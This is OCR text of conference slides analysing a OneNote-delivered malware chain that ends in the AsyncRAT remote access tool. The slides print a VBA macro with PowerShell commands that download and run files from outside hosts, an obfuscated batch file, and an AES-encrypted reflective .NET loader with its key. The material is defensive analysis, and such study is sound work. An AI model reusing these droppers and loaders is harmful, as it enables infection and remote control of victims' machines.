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Introduction
VS Reality




Two Worlds

The One We Expect

 Some $VENDOR can allocate (a lot of) time to analyze new malware

e Find a name

e Find a logo! &
* Register a domain name
* Publish their findings
 Repeat

 Some big organizations assign enough time to RE too!



Two Worlds

Mine (And Probably Yours)

 In the SCOMPANY real life
* Only a few hours allowed to analyze the malware
* |dentify it (at least try)
 Fall
e Share |OC’s (not 8.8.8.8)

 Repeat :-)



Infection Path
Step One

 Computers are not infected “magically”
« SMTP, HTTP, Phishing, Exploit Kits, Weak Credentials, ...

» Many attacks are based on Tier-3 approach

Compromized
Remote Access Implant
Accounts
For Sale Real Malware
For Sale




New Transport Mechanism

Because Attackers Renew their TTP’s

* Beginning of 2023, attackers started to spread malware via OneNote files

delivery-report

Microsoft OnelMote Section

Date modified: 10/04/2023 10:21
SIZE: 21,5 KB

Date created: 10/04/2023 10:21




New Transport Mechanism
Who’s Next?

B Registry Editor
File Edit View Favorites Help

 What will be the next extension to be (ab)used by

HKEY_CLASSES_ROOT

attaC ke rS? v HKEY_CURRENT_USER

AppEvents

« HKCU\Software\Classes is their playground! e
« Even if you don’t use them, Microsoft creates a lot of | - s

association between extensions and apps. Yo




New Transport Mechanism
We Are All Taking Notes, Right?

* Beginning of 2023, attackers started to spread malware via OneNote files

CLICKTO VIEW DOCUMENT
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Anti-Sandbox

Simple but Effective

e The fact that the victim is enticed to click on the blue button makes the
document evading most sandboxes
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Stage #1

Simple but Effective

e Often, attackers use simple tricks to hide malicious content. In this file, the
payload is hidden under the blue button.

e |t’s an HTA file (HTML Application)

Untit...

 Another simple trick Is used...

onenote:///Z:\MalwareZoo\20230124\delivery-
report.one#section-id={578C5E4A-19C3-45D0-
AB59-38C1C68724D9}&page-
id={06407E66-660E-4278-9006-B46743A6D5SEA}&object-
id={CD360D35-3008-4C79-8141-5737DF850707}&18




Stage #2

“Ignorw si gnihtemos spooO”

* You can save the file but the filename contains a control character

remnux@remnux:/MalwareZoo/20230124% 11 t*

total 27/3
drwxr-xr-x 1 501 dialout 352 Jan 24 01:5/7 ./

drwxr-xr-x 1 501 dialout 4992 Jan 24 00:54 ../
-rwxr-xr-x 1 501 dialout 1703 Jan 24 01:50 temp?eno.hta*

remnux@remnux:/MalwareZoo/20230124% file tem?eno.hta
tempsrotanimret enil FLRC htiw , txet IICSA ,tnemucod

LMTH : ath.one

* The file contains the “RIGHT-TO-LEFT OVERRIDE” character (U+202¢)
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Stage #2

A Safer Approach

» Extracting the file implies that you OPEN the file. Please take care!

* Didier Stevens wrote a tool to extract them without using MS Notes:

remnux@remnux:/MalwareZoo/20230124% ./onedump.py delivery-report.one
File: delivery-report.one

1: Ox000022e8 .PNG 89504e47 Ox0000014/7 9ccY9eb32fbedd4adcefl2e62e258895195
2. Ox00002588 ..<! 0dOa3c2l Ox000006a/ cfd8d9fcdfdc5/816f/7/1c/858d/791352f
3: Ox00003230 .PNG 89504e47 0Ox0000145d ddb6da5a6385b9a062409e605c661682
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Stage #3

Want Some VBA?

 The HTA file is simple and contains a VBA macro:

Sub AutoOpen ()

ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest \
-Uri1 hxxps://www[.]onenotegem[.]com/uploads/soft/one-\
templates/the daily schedule.one -OutFile \
$env:tmp\invoice.one; Start-Process -Filepath \
$env:tmp\invoice.one"

ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest \
-Ur1 hxxps://transfer[.]sh/get/DdAbds/window.bat \
-QutFile \
$env:tmp\system32.bat; Start-Process -Filepath \
$env:tmp\system32.bat"

End Sub
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Stage #3

Defeat the Victim

 The first PowerShell command
downloaded a non-malicious
OneNote file and just displays it to
defeat the victim

e The second PowerShell fetches
a .bat file

File Home Insert Draw History Review View Help fote
(& Open Sections v the_daily_schedule (Ctrl+E) v
The Daily Schedule i & Add Page ¢
2015.1.7 19:58 The Daily Schedule
2015-01-07
0 00
1 00
2 00
3 00
4 00 N
5 00
6 00
7 00
8 00
9 00
[~]
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Stage #4

More Obfuscation

e Environment variables are created

 Then concatenated to generate
commands

%E
%b
%0
%z(C
%VM
%pD

DXMY Swuy %%V 1KkKHUKETD%%YbFTFTKUTC

Pax/ZDgai%lwVwutyXxrS%%s0XCdJcc

ULUTW

% T KWWK 1
%NET1TCSNe
%KkadDsnNHSsD%%OEdsMkxh1k%%

L kU%%GsRczxkMqv%%BXJpXFv1EmL
1szpIloDgzo%nsL

1sK%%bzomJGoXTy%%

DcW%%WgLL1MRuo1%%

URC

Ddachcxsu%%zVLVxWvHNO%%F1KIDLjqdB%%jNp1jcxalOV%
OVFEOWSdA1%%JcCljvtvxr%%XMtQLLGCLV%%zvSrMgnEdP%

MRSh1dYO%%IbCwXoVeuS%hhbhuhHLOjky T%%10r ICGACYe%

%660tggqtEQIVn%
%%DaJST111FIG%
%%6MmsPLCkdR7Q%
SDAQGYsAu%

AchdgIWNWd%%HVWLKdhXxV%
RGZoaKZAe%%BFUXTXHYDLC%

@echo off
set

7.
7.
7.
70
7.
7.
7.
70
7.
7.
7.
70

7.

P/
P/
P/
P/
P/
P/
P/
P/
P/
P/
P/
P/

P/

"JP/P=set "

P%" IbCwXoVeuS=st"
P%"EDdachcxsu=co"
P%"JcCljvtvxr=nd"
P%"YbFTfFTKUTg=do"
P%"zvSrMgnEdP=s\"
P%" ZVLVXWvHNO=py"
P% " WVWUTYyXXxrS=we"
P%"WgLL1MRuoi=.e"
P%"RgGZoaKZAe=ex"
P%"OEdsMkxh1lk=
P%"HchdgIWNWd=xe"

P%"VIKKHUKETfD=1n"

P%”"msPLCKkdRjQ=0\"

||%~@ . "




Stage #4

PowerShell!

copy C:\Windows\System32\WindowsPowerShell\vl.0O\powershell.exe /y

cls

cd "C:\Users\REM\Desktop\"

"window.bat.exe"

"window.bat.exe"

-noprofile -windowstyle hidden -ep bypass -command

:NewL1i1ne) ;

$hfShb = [System.IO.File]::('txeT1llAdaeR'[-1..-11] -join ‘") ('C:\Users\REM\Desktop\window.bat').Split([Environment]:
foreach ($TIZnc in $hfShb)
{

if ($TIZnc.StartsWith(' "))

{

$0Powf = $TIZnc.Substring(3); break;

}};
$kJJdx = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ($0Powf);
$xypSr = New-Object System.Security.Cryptography. AesManaged
$xypSr.Mode = [System.Security.Cryptography.CipherMode]: :CBC;
$xypSr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$xypSr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cao+K/bvGpiu3YwMcce®On/wD4E4gfQmkj3F2tfn9rZk=");
$xypSr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ('1AK9B8Af6zbgofnvIf4zYQ==");
$wkMnt = $xypSr.CreateDecryptor();
$kJJdx = $wkMnt.TransformFinalBlock ($kJJdx, 0, $kJJdx.Length);
$wkMnt.Dispose () ;
$xypSr.D1spose()
$XQ1HS = New- Ob]ect System.I0.MemoryStream(, $kJJdx);
$CoX0G = New-Object System.IO.MemoryStream;
$AbQce = New-Object System.IO.Compression.GZipStream($XQ1LHS, [IO.Compression.CompressionMode]: :Decompress);
$AbQce.CopyTo ($CoX0G) ;
$AbQce.Dispose () ;
$XQLHS .Dispose();
$CoXOG.D1spose()
$kJJdx = $CoXO0G.ToArray();
$MnaeK = [System.Reflection.Assembly]::('daolL'[-1..-4] -join '"') ($kJJdx);
$INAif = $MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[l]l ('')))
exit /b
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Stage #4

Multiple Obfuscations

copy C:

cls

\Windows\System32\WindowsPowerShell\vl.0O\powershell.exe /y "window.bat.exe"

cd "C:\Users\REM\Desktop\"

"window.bat.exe"

-noprofile -windowstyle hidden -ep bypass -command

:NewL1i1ne) ;

$hfShb = [System.IO.File]:: ('EXxelllAdaeR"'[-1..-11] -join ') ('C:\Users\REM\Desktop\window.bat').Split([Environment]:
foreach ($TIZnc in $hfShb)
{
if ($TIZnc.StartsWith(':: ")) . .
{ Suspicious strings are reversed!
$0Powf = $TIZnc.Substring(3); break;
} '
$kJJdx = [System.Convert]::('gnirtS46esaBmorkF'[-1..-16] -join '') ($0Powf) ;
$xypSr = New-Object System.Security.Cryptography. AesManaged
$xypSr.Mode = [System.Security.Cryptography.CipherMode]: :CBC;
$xypSr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$xypSr.Key = [System.Convert]:: ('gnirtS46esaBmork'[-1..-16] -join "") ('Cao+K/bvGpiu3YwMcce®On/wD4E4gfQmkj3F2tfn9rZk=");
$xypSr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ('1AK9B8Af6zbgofnvIf4zYQ==");
$wkMnt = $xypSr.CreateDecryptor();
$kJJdx = $wkMnt.TransformFinalBlock ($kJJdx, 0, $kJJdx.Length);
$wkMnt.Dispose () ;
$xypSr.D1spose()
$XQ1HS = New- Ob]ect System.I0.MemoryStream(, $kJJdx);
$CoX0G = New-Object System.IO.MemoryStream;
$AbQce = New-Object System.IO.Compression.GZipStream($XQ1LHS, [IO.Compression.CompressionMode]: :Decompress);
$AbQce.CopyTo ($CoX0G) ;
$AbQce.Dispose () ;
$XQLHS .Dispose();
$CoXOG.D1spose()
$kJJdx = $CoXO0G.ToArray();
$MnaeK = [System.Reflection.Assembly]::('daolL'[-1..-4] -join '"') ($kJJdx);
$INAif = $MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[l]l ('')))
exit /b
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Stage #4

Multiple Obfuscations

copy C:

cls

\Windows\System32\WindowsPowerShell\vl.0O\powershell.exe /y

cd "C:\Users\REM\Desktop\"

"window.bat.exe"

"window.bat.exe"

-noprofile -windowstyle hidden -ep bypass -command

:NewL1i1ne) ;

$hfShb = [System.IO.File]::('txeT1llAdaeR'[-1..-11] -join ‘") ('C:\Users\REM\Desktop\window.bat').Split([Environment]:
foreach ($TIZnc in $hfShb)
{

if ($TIZnc.StartsWith(' "))

{

$0Powf = $TIZnc.Substring(3); break;

} '
$kJJdx = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ($0Powf) ;
$xypSr = New-Object System.Security.Cryptography. AesManaged
$xypSr.Mode = [System.Security.Cryptography.CipherMode]: :CBC;
$xypSr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$xypSr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cao+K/bvGpiu3YwMcce®On/wD4E4gfQmkj3F2tfn9rZk=");
$xypSr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ('1AK9B8Af6zbgofnvIfdzYQ==");
$wkMnt = $xypSr.CreateDecryptor();
$kJJdx = $wkMnt.TransformFinalBlock ($kJJdx, 0, $kJJdx.Length);
$wkMnt.Dispose () ; ' '
$XypSrOD15pose() Encrypthn IS Used!
$XQ1HS = New- Ob]ect System.I0.MemoryStream(, $kJJdx);
$CoX0G = New-Object System.IO.MemoryStream;
$AbQce = New-Object System.IO.Compression.GZipStream($XQ1LHS, [IO.Compression.CompressionMode]: :Decompress);
$AbQce.CopyTo ($CoX0G) ;
$AbQce.Dispose () ;
$XQLHS .Dispose();
$CoXOG.D1spose()
$kJJdx = $CoXO0G.ToArray();
$MnaeK = [System.Reflection.Assembly]::('daolL'[-1..-4] -join '"') ($kJJdx);
$INAif = $MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[l]l ('')))
exit /b
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Stage #4

PowerShell!

copy C:

cls

\Windows\System32\WindowsPowerShell\vl.0O\powershell.exe /y

cd "C:\Users\REM\Desktop\"

"window.bat.exe"

"window.bat.exe"

-noprofile -windowstyle hidden -ep bypass -command

:NewL1i1ne) ;

$hfShb = [System.IO.File]::('txeT1llAdaeR'[-1..-11] -join ‘") ('C:\Users\REM\Desktop\window.bat').Split([Environment]:
foreach ($TIZnc in $hfShb)
{

if ($TIZnc.StartsWith(' "))

{

$0Powf = $TIZnc.Substring(3); break;

} '
$kJJdx = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ($0Powf);
$xypSr = New-Object System.Security.Cryptography. AesManaged
$xypSr.Mode = [System.Security.Cryptography.CipherMode]: :CBC;
$xypSr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$xypSr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cao+K/bvGpiu3YwMcce®On/wD4E4gfQmkj3F2tfn9rZk=");
$xypSr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ('1AK9B8Af6zbgofnvIf4zYQ==");
$wkMnt = $xypSr.CreateDecryptor();
$kJJdx = $wkMnt.TransformFinalBlock ($kJJdx, 0, $kJJdx.Length);
$wkMnt.Dispose () ;
$xypSr.D1spose()
$XQ1HS = New- Ob]ect System.I0.MemoryStream(, $kJJdx);
$CoX0G = New-Object System.IO.MemoryStream;
$AbQce = New-Object System.IO.Compression.GZipStream($XQLHS, [IO.Compression.CompressionMode]: :Decompress);
$AbQce.CopyTo ($CoX0G) ;
$AbQce.Dispose () ; .
$XQLHS . Dispose () Payload is Compressed!
$CoXOG.D1spose()
$kJJdx = $CoXO0G.ToArray();
$MnaeK = [System.Reflection.Assembly]::('daolL'[-1..-4] -join '"') ($kJJdx);
$INAif = $MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[l]l ('')))
exit /b
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Stage #4

PowerShell!

copy C:

cls

\Windows\System32\WindowsPowerShell\vl.0O\powershell.exe /y

cd "C:\Users\REM\Desktop\"

"window.bat.exe"

$hfShb = [System.IO.File]::('txeT1llAdaeR'[-1..-11] -join ‘") ('C:\Users\REM\Desktop\window.bat').Split([Environment]::NewLine);
foreach ($TIZnc in $hfShb)
{

if ($TIZnc.StartsWith(':: "))

{

$0Powf = $TIZnc.Substring(3); break;

} '
$kJJdx = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ($0Powf);
$xypSr = New-Object System.Security.Cryptography. AesManaged
$xypSr.Mode = [System.Security.Cryptography.CipherMode]: :CBC;
$xypSr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$xypSr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cao+K/bvGpiu3YwMcce®On/wD4E4gfQmkj3F2tfn9rZk=");
$xypSr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ('1AK9B8Af6zbgofnvIf4zYQ==");
$wkMnt = $xypSr.CreateDecryptor();
$kJJdx = $wkMnt.TransformFinalBlock ($kJJdx, 0, $kJJdx.Length);
$wkMnt.Dispose () ;
$xypSr.D1spose()
$XQ1HS = New- Ob]ect System.I0.MemoryStream(, $kJJdx);
$CoX0G = New-Object System.IO.MemoryStream;
$AbQce = New-Object System.IO.Compression.GZipStream($XQ1LHS, [IO.Compression.CompressionMode]: :Decompress);
$AbQce.CopyTo ($CoX0G) ;
$AbQce.Dispose () ;
$XQLHS .Dispose(); _ |
$CoXOG.D1spose()
3 X0 Dispose O Arrav(): Another Payload is Loaded!
$MnaeK = [System. Reflect1on.Assemb1y]::('daoL'[—1..-4] =join "') ($kJJdx) ;
$INAif = $MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[l]l ('')))
exit /b

"window.bat.exe"

-noprofile -windowstyle hidden -ep bypass -command
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Stage #4

PowerShell!

copy C:

cls

\Windows\System32\WindowsPowerShell\vl.0O\powershell.exe /y

cd "C:\Users\REM\Desktop\"

"window.bat.exe"

$hfShb

-noprofile -windowstyle hidden -ep bypass -command

= [System.IO.File]::('txeTllAdaeR'[-1..-11] -join

foreach ($TIZnc in $hfShb)

{
if
{

'
Y
$kJJdx
$XypSr =

$xypSr.
$xypSr.
$xypSr.
$xypSr.
$wkMnt =
$kJJdx =
$wkMnt.
$xypSr.

$XQLHS =
$CoX0G
$AbQce =

$AbQce.
$AbQce.
$XQ1HS.
$CoX0G.

$kJJdx =
$MnaeK
$INAif

exit /b

"window.bat.exe"

") ('C:\Users\REM\Desktop\windo

a0

at').Split([Environment]::NewlLine);

") ('Cao+K/bvGpiu3YwMcceOn/wD4E4AgfQmkj3F2tfnorzk=");

($TIZnc.StartsWith(':: "))
$0Powf = $TIZnc.Substring(3); break; EQ\O
= [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -joi O;g;>
= New-0Object System.Security.Cryptography. AesManage V\
Mode = [System.Security.Cryptography. C1pherMode
Padding = [System. Secur1ty Cryptography.Paddin PKCS7
Key = [System.Convert]: —Jo1n
IV = [System.Convert]: —16] -join '") ('"1AK9B8Af6zbgofnvIf4zYQ==

2 ('gnirtS46esaBm 1

( gnirtS46esaB ﬂ{

$xypSr.CreateDecryptor() e
m $kJJdx.Length);

$want.TransformFinalBlock $
Dispose();

D1spose() X
= New-Object Syste yStream(,
New-Object Syste emoryStream;

$kJJdx) ;
= New-Object System? O.Compression.GZipStream($XQ1HS, [IO.Compression.CompressionMode] :
CopyTo ($CoX0G) ;
Dispose();
Dispose() ;
D1spose()

$CoX0G.ToArray () ;
[System.Reflection.Assembly]::('daoL'[-1..-4] -join "'
$MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[]l] (

) ($kJJdx) ;
"))

:Decompress) ;
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Stage #4

PowerShell!

copy C:

cls

\Windows\System32\WindowsPowerShell\vl.0O\powershell.exe /y "window.bat.exe"

cd "C:\Users\REM\Desktop\"

"window.bat.exe"

$hfShb

-noprofile -windowstyle hidden -ep bypass -command
= [System.IO.File]::('txeTllAdaeR'[-1..-11] -join ") ('C:\Users\REM\Desktop\window.bat').Split([Environment]:

foreach ($TIZnc in $hfShb)

{
if
{

s
s

$kJJdx
$xypSr =

$xypSr.
$xypSr.
$xypSr.
$xypSr.
$wkMnt =
$kJJdx =
$wkMnt.
$xypSr.

$XQLHS =
$CoX0G
$AbQce =

$AbQce.
$AbQce.
$XQ1HS.
$CoX0G.

$kJJdx =
$MnaeK
$INAif

exit /b

The payload is hidden as a comment in the .bat file

($TIZnc.StartsWith(':: "))
$0Powf = $TIZnc.Substring(3); break;
= [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ($0Powf);

= New-0Object System.Security.Cryptography. AesManaged
Mode = [System.Security.Cryptography.CipherMode]: :CBC;
Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;

Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '") ('Cao+K/bvGpiu3YwMcce®On/wD4E4gfQmkj3F2tfn9rZk=");
IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ('1AK9BB8Af6zbgofnvIfdzYQ==");
$xypSr.CreateDecryptor();
$wkMnt.TransformFinalBlock ($kJJdx,
Dispose();

D1spose()

= New- Ob]ect System.IO.MemoryStream(,
New-Object System.IO.MemoryStream,
= New-0Object System.IO.Compression.GZipStream($XQLHS,
CopyTo ($CoX0G) ;

Dispose();

Dispose() ;

D1spose()

$CoX0G.ToArray () ;
[System.Reflection.Assembly]::('daolL'[-1..-4] -join "'
$MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[]] (

O, $kJJdx.Length) ;

$kJJdx) ;

[I0.Compression.CompressionMode] : :Decompress) ;

) ($kJJdx) ;
"))

:NewL1i1ne) ;
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Stage #5

PE File

;. VXHRxdvttDPOBvJVSOyoy5nDy6eYBtbTjReaYjAPXpBACOzTOZP3AR+NsONQHTEEYYgCfyBuQDgCTRzZAEUGOWMGD/Hk1KaFsPK838zr1u2VrebT/
mMDXCcuPGB9PtbpbpjdxcZW8micNOmdy5aXrjypqUJPrVLUKICXSHIJ8XwDnt1YOoT/
hLNNDkOOcUWhBZ+v04eUoxodZsbQhXdXomM4duneFIju6DwYaEOGCB8SMxDWPdacDBIWY3pbSR/dUWVAfrOQQLYyhOCSmjkdmDo73J6C2cpIKrUx5S/
5y9aqgvY1lAQuRLpzPnTattxt+0OVgTWT/
gZPiluEMpvgiaCYOPAWCtPPwc4Z9NDzdWzLpW+1ME6j2E2RWPU/75151Z0dCNOYy6tUVCTKWSNAZDH1295QzuiuWaldnbb4VgflpFxBnovylLTo31063bnTCvTfKHWZ88WI/X2kPWi28
gNxBC7nS2uA6LHrsR30444pMLnsTHNTJXONbXTJ5D)JYoeMT3U2CGUCAFCOX46XxCLXOIxJwo5kk84WznosK/SIAibynMaGlwtuLKBAzSdr2P/
XFhNNpOfRjp3Yd6e6VCclkc8AXxS53JmeiU6DTXYBIJNNKSpnIll2r6z1WdwX6rG36EW/jLGOfgdc+mK6s/70UTfOBMDE+PtCO9Rq410RBBYWNBW1Imc9859 jwiWbme+FZ/
HRAul5zyXP38fadkxuE7dYgLbm+vNU1lh7IAIBZstLSFIaCOdXrweEd69USLvOzisiHjyOl1lfJPI6Inv5DrucplTZtAengxZWV2X1JUgzyqY1lJZWVGIoXVgggVOpOAM/
LOIXHENJRK76KqS/QELdHNn/nhz3E2bFzvcSMJ7cNdqO9pUNtGTbZVATfDgSr7rD9CMoEelp6fAUKkMmi4Qh/7k//
ZQr7VjfOaig3nFiR6RTNk34xNajuxGRbbasBCDOitRFswlH8grGUTmZLurYLALIOVK1IL30y1HzMbObVEOK8Z604bI36CT2WMWPZmF6LCc103YKkZ17r5/4USSagAvyylGvQhgCXj5khxB
LSXOXRKWTCIXksekJWoyCRUebSJReC60PWNgRSOHRNKA+b4AmMV7pd/WNK1B51TMONhNyvuX4JGH2NJQcH+ZAueYeKUEKBHp5r85LuCrZGYVxD9AbBc9Kaz6Joq/
CmQ2VfWd+AdonBriGzF3bz90Lgs/U21yywaXI45ZvNuriW2H1b8/
JVK20U5s0ONVTJvaQUCWQEVNMAGRS4poalRrNSh8AWFWcqEzc1nG2HIRFsvckZgrt3NiIG2mh9VC1lcv2xbkaqqICyDQwAzvA+zPbtLNXxs841eEouV8WcHTVSAylvtx1xC4o0VPubldR
s/elLyGecyICIZQrIYaclubnT1lG1lT3eKa9bu8g2MVIAW/ mT2+WVG1Kj4vkP7viY9SCdAKOYQIBNXTENBjPOWLgCz6Ut1YNSTOWNPUKN/OKZLXxxaunI6RS/
bbHSTrTQ3pwZFVjXH8XxtQcXYyOUYUlb7eQtuGbFbc2Zn0Jn81DMORrA9DVZRIOXuCXUKYylutMgizxFyJiQ2Vj5Co/
XTF7CKyYELoPT+EYy8JRPkw4Qc0®ZcabRORCLBVHCNi1pvRe®OdjB8DHrXvWAE4AY/JFON8zpM51dpHAYy6fnv02ZLpeibl8NRDj1K5TEcad/
Nnw4V5Dyzi1fveNpY19zkbV81250z5a/MLJP1T3dHOKTG7gN1fV2wVKIJDLL+/
5RQPgTpz0yQnd4PWBkgryLP+X0cBgQkeZDyindfLAXoVKAdVKkc317u9btuyTy/71TDuSsRYyGNwWRPat+NT8jg561061BXTSWKhRbhktPj6awkSYOmPIz7stGWbI2BXCiif3Xm4g3DzO0j
Q6CGVCECc61wgozSNjoby8jJx9NNB8SWRYy 1BCG7IaAHT+MvAKsyVxuykO1lmWXp/
RBAIprKs50JPe51TVVb/7doPJt+Y2e9EKRudwYY3rbHYg2QH87yv2e3xewfPNSkFay3PIKbdyKzAYJfBDHoBMYadh4BqqRMK5WrbbrDVNccNtaxj1LVqcOXygMvHDAhPjwSwWNnJ8XxSx
ivfYbh38Dn8tvP4gV3YsN/+uji18e0OXdHZybelAWRIE6dA]3gqskARICSi1yI1lfxfjsSgnOvuYb6oS/2202mgqIWex/JRjPbntln2LOEThXcGgnH+VCCh/LnfCebUZNtyVH1ro90V/
YYdhrr7ZjUoOn7aGqd2+JBUOLYy4IteSzXXUFve/EGFahYks1C5/roR79nNIg6NUoaNvdhmA/9SBkUd7TR7xr+5E7F6ITBh5Y1hP1AhNgBkQz3ELGG+gxT7B/
fEm50v2U0e4QgoYtEG/tv5Wjj3abgMFtA4/7U+TODTnxKId7 JjwHRUXZ5+BnF4ADMPjQ5JeuAxs/9MDJ+qcZ78KbkRsdrP+bGacl/
W5EBIORYdzVmXskO19fvd3CzgffpoCsNHO+R6r9fez3ziurqLdOfg3yARmm+ngjADOmjoz1o50PV31qkSu2CZ/ZPyHwWB422GY6CvI9VM8yxaySa/

U7+vW3 JXDEpXAMUCXSATIiPPJm+9D40OWNTSTQjLvUeBucsctlJGZjvmgiJNg8BgnvC/XDOg9sVvNt1lJ+gMpWep/wK731556eaFNZMkc6jpbnboHbYc3Uj+rwPs1rE7158QVkgcrGP/
CnGPwW2WYHQ3Ch5aQZmYYsKuS1jBm5+FQuD4rvr9LDUmUMYuXgfXDoAr+NU+hG8B119P9gcOynXuhWkGXDJKWrXpZzxLcL+1hZk61bUUOX5d1ljalvroxywXmsxffrk2UP6h3MbKIvW
9cMh3ZNuyqUtegYpsszBouRcmQsNrGT18n+tESVWZtm3/ZA1QLs6VsjeXqVS82FGI9Rb/
gNygPAaZjpabloXzT9AzjvlqJqFIQj/71vcNRuf8cd4XalkXHpXrjZap3rfzrFZt4wRCI/7FBrec+UcC/
MHFAkWwIzu8GerL63+2VTjSUhdT4P+Ip6kQCDMhhip+uP+vemXKOjYZ4hhzMyQxzD6AGuofYU/RJFQ/SqgbdS
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Stage #5

CyberChef to the Rescue

C

Version 9.28.0
Operations
gunzip

Gunzip
Favourites

Data format
Encryption /| Encoding
Public Key
Arithmetic | Logic
Networking
Language

Utils

Date / Time
Extractors
Compression
Hashing

Code tidy
Forensics
Multimedia

Other

Flow control

Remove non-alphabet chars

AES Decrypt QO N
Key }
Cao+K/bvGpiu3YwMcce®n/wD4E4gfQmkj ..  BASES4
\Y L
1AK9B8Af6zbgofnvIf4zyYQ== BASEG4
Mode Input Output
CBC Raw Raw

Gunzip Q n

STEP L. BAKE!
Auto Bake

O file:///usr/local/cyberchef/CyberChef_v9.28.0.htmlirecipe=From_Base64('A-Za-z0-9%2B/%3D' true)AES_Decrypt({'option':'Base64','string":'Ca0%2BK/bv( ¥ @ & =
Last build: 2 years ago Options & About / Support @
Recipe BB EF input length: 28,800 00 2 4+ [ D] @ =
From Base64 Q n < 1: aes.tmp X 2: aes.tmp X >
Alphabet .
A-Za-z0-9+/=

Name: aes.tmp
Size: 28,890 bytes
Type: unknown

Loaded: 100%

time: 33ms

Ou(put -/: length: 25600 B a [_D m o

lines: 189

< 1: MZyy @° I! Li'This program cannot be Tab 2 >

MZ.......... UVoe, vennnnn B i e et ey °,.” 1! .LI'This program

$.... ... PE..L..... EC........ a........ AN il an snadasas @
....................... P P
[¥saSianesss e 0 0000000000000 085 S1 008D IS0 00E0IE000E08EIEE00808080c000E0000000S
............... Hecsnnanasne s TEXE, ¥aos sssllesnsnscsascssnsnass
rsrc % N it @..8.reloc....... ....... o @..B............
L Y S Hovvnn Dh..&........... - (
ol ¥ PPN
0...
A.. (
alsnasd
. W...A.. W...A...0..A....... (
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Stage #6

More Malware

* The PE file executed is still unknown on VT today)
(SHA256: ee1713429991c75fb6d53b6ed6dd0296ae/889a86c85b55d20a782¢c332948b7a)

* |t’s a .Net Binary

* Jo address such type of PE files, dnSpy®@ is your best friend

(1) Last checked on May 26, 2023
2) https://github.com/dnSpy/dnSpy
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Stage #6

More Malware

* AES is again used to hide interesting strings.

 Example: API calls:

IntPtr hModule3 = MopWZeDGepjCwRLoGnnT.LoadLibrary("ntdll.d11");
IntPtr procAddress3 = MopWZeDGepjCwRLoGNnNnT.GetProcAddress (hModule3,

Encoding.UTF8.GetString (MopWZeDGepjCwRLoGNNnT. TDBpQpEVAaGeFMVvTWidO (Convert.FromBase64String(“cwaVc9FFjURPPjaNuur6ZA=="),

Convert.FromBase64String ("S5Jbz5ndXHbXSsLAjJT3TFepxCYdOtRyCuouBDtnPXEk="), Convert.FromBase64String("MzJ9An/7/7/FsoAKF+FOIiYeQ=="

))));

byte[] key, byte[] iv)

private static byte[] TDBpQpEvAaGeFMvIWidO(byte[] 1input,
{
AesManaged aesManaged = new AesManaged() ;
aesManaged.Mode = CipherMode.CBC;
aesManaged.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, 1v);
byte[] result = cryptolTransform.TransformFinalBlock(input, 0, input.Length);
cryptolTransform.Dispose();
aesManaged.Dispose();
return result;
}
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Stage #6

More Malware

 The malware is an ASync RAT (“Remote Access Tool”)

o C2 Server: wormxwarl.]Jddns|.]net
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Thank You!

xmertens@sans.org
xmertens@isc.sans.edu
@xme
@xme@infosec.exchange
https://linkedin.com/in/xme
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